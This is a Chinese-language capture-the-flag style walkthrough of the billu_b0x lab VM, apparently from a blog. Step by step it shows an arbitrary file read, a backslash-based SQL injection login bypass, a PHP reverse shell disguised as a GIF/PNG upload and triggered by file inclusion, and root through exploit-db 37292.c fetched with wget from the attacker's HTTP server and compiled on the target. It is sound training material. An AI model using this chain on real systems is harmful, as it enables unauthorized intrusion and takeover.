当前位置: 首页 > news >正文

billu_b0x 靶机渗透测试

目标:获得靶机root权限
下载地址:靶机4 https://box.nju.edu.cn/f/33258dfa28ee406e9769/?dl=1 ,使用于virtual box

基础工作

确定靶机ip,并扫描端口,确定服务版本
a) sudo arp-scan -l,靶机ip为10.0.2.5
b) nmap -p- 10.0.2.5,端口为22,80
c) nmap -p 22,80 -sV 10.0.2.5
在这里插入图片描述

突破登录限制

访问10.0.2.5,发现需要输入账号和密码,直接用burp suite攻击很难,需要很好的字典。

  1. dirsearch -u http://10.0.2.5 对靶机web服务目录枚举,选择test.php
    在这里插入图片描述
  • Dirsearch 是一款基于 Python 开发的命令行工具,主要用于在 Web 安全测试中,通过暴力扫描的方式,发现网站服务器上的隐藏目录和文件
  • 针对靶机web服务,一个常见思路是目录枚举此类工具有必要多准备几个,因为每个自带的字典不同,攻击效果有差异。
  1. 访问http://10.0.2.5/test.php,显示'file' parameter is empty. Please provide file path in 'file' parameter,输入http://10.0.2.5/test.php?file=/etc/passwd提供参数,但还是这样显示。
  2. 使用burp suite拦截请求,右键选择change request method,由get变为post请求,然后点击send,成功了,获得了passwd文件。此时可以确定网站存在漏洞,但不知道类型。常见的两种分别为文件包含漏洞,可以执行test.php;任意文件下载漏洞,只能看不能执行。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
4. 改为file=add.php,根据结果确定存在任意文件下载漏洞:收到的是<?php echo '<form method="post" enctype="multipart/form-data">...'; ?>,如果这是执行漏洞,应该收到<form method="post" enctype="multipart/form-data">...
在这里插入图片描述
5. 改为file=index.php ,发送,成功显示出来。其中index.php是 PHP网站的默认入口文件,相当于网站的主页面或"首页",在里面发现了登录验证时的逻辑:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';

在这里插入图片描述

  1. 分析发现登录逻辑为select *from auth where pass='$pass' and uname = '$uname',而’or 1=1#失败的原因在于网站对单引号做了处理利用转义符\,passwd写\,username写or 1=1,成功登录。
    在这里插入图片描述

建立反弹shell

  1. 发现网页add user可以上传图片文件,利用它突破

  2. cp /usr/share/webshells/php/php-reverse-shell.php .把kali自带的脚本拷贝到当前文件夹,此脚本运行后会直接建立反弹shell

  3. 直接上传,失败,显示必须上传图片
    在这里插入图片描述

  4. php-reverse-shell.php重命名为bb.png,上传,仍失败,说明网页对文件内容进行了检查

  5. 使用burp suite拦截,修改请求:文件类型改为pngcontent-type改为image,在文件开头加入魔数GIF89a;表示这是一个png文件,攻击机ip改为自己的,端口可以不动(默认是1234),然后点sent,查看响应内容:uploaded successful
    在这里插入图片描述
    在这里插入图片描述

  6. 此时网页上多了一个创建的用户,右键图片,复制路径并打开,说明上传成功,此时只需要执行该文件
    在这里插入图片描述

  7. 打开burpsuite,拦截show user的continue,来分析可能漏洞。请求体是load=show&continue=continue, 前面探测内容里面有show,怀疑它是一个php脚本。那么在load后面或许可以改为想要执行的文件

  8. nc -nvlp 1234,打开监听端口

  9. 在burp suite的repeater界面改为load=/uploaded_images/bb.png点击send,此时response没有反应,成功建立reverse shell
    在这里插入图片描述

  10. 运行whoami,显示www-data,需要提权

提权

  1. reverse shell运行uname -a,发现内核为Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu
  2. 在本机运行searchsploit Linux 3.13searchsploit -m linux/local/37292.c,寻找合适的提权文件并下载
  3. python -m http.server 8000,启动一个简单的本地 HTTP 服务器
  4. 在反弹shell上下载、编译、运行:wget http://10.0.2.3:8000/37292.cgcc 37292.c./a.out
  5. 成功获得root权限

拓展:靶机上没有编译器的处理方法

以C语言提权文件为例,如果靶机上没有gcc怎么办?思路是在攻击机上根据靶机版本,静态编译文件(避免依赖),再把文件发送到靶机上运行。用uname -a查看后发现该靶机是32位系统。

  1. sudo apt install gcc-multilib libc6-dev-i386 为Kali添加原本缺少的编译32位程序需要安装对应的32位库文件
  2. gcc -static -m32 1.c -o escalation32 静态编译,选择32位机器。其中这里的1.c是前面利用文件的拷贝。
  3. python -m http.server 8000
  4. 先切换到/tmp文件夹,wget http://10.0.2.3:8000/escalation32,靶机上下载
  5. chmod u+x escalation32 添加执行权限
  6. ./escalation32 运行
  7. 成功获得root权限!
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
http://www.dtcms.com/a/539931.html

相关文章:

  • RPA 如何成为 AI 智能体的落地引擎
  • 快递比价寄件系统技术解析:基于PHP+Vue+小程序的高效聚合配送解决方案
  • 巢湖市重点工程建设管理局网站易企秀网站怎么做轮播图
  • 免费画图网站微信公众官网登录入口
  • SAP SD借贷项凭证创建接口分享
  • uniapp(2)自定义tabbar
  • 技术实践:在基于 RISC-V 的 ESP32 上运行 MQTT over QUIC
  • 【Linux】编辑器vim的使用和理解gcc编译器
  • uniapp如何集成第三方库
  • 易灵思FPGA的RISC-V核操作函数
  • BOTA发布新一代力觉核心:Gen A六维力矩传感器,为下一代机器人研发,注入精准感知
  • 180课时吃透Go语言游戏后端开发14:map类型
  • AWS × Caddy:一键部署多站点反向代理 + 负载均衡网关(Terraform + ECS Fargate)
  • 外贸电子商务网站jcms内容管理系统
  • 做外贸哪些网站可以发免费信息线上课程怎么做
  • [无人机sdk] CameraModule | GimbalModule
  • 无人机桥梁巡检:以“空天地”智慧之力守护交通生命线
  • 【代码随想录算法训练营——Day51】图论——99.计数孤岛、100.最大岛屿的面积
  • d44:Sentinel 微服务流量控制与 Seata 分布式事务
  • Nacos注册中心:从服务注册到负载均衡
  • 归并排序和计数排序详解(非比较排序)
  • Nginx‌如何配置负载均衡,并使用对不同同负载均衡算法进行配置
  • 网站管理平台扩展插件广告人网站
  • HarmonyOS视频编解码与转码深度探索:从原理到分布式实践
  • 无人机数字资产采集技术架构与实践:从多维度感知到云端化建模的实现路径
  • 无人机螺旋桨运行技术解析
  • 自己编辑网站怎么做的毕节做网站的公司
  • 【Linux】Linux下基本指令:man echo cp mv move less date grep zip tar 指令以及指令的本质
  • Nand flash和norflash对比
  • EXCEL(带图)转html【uni版】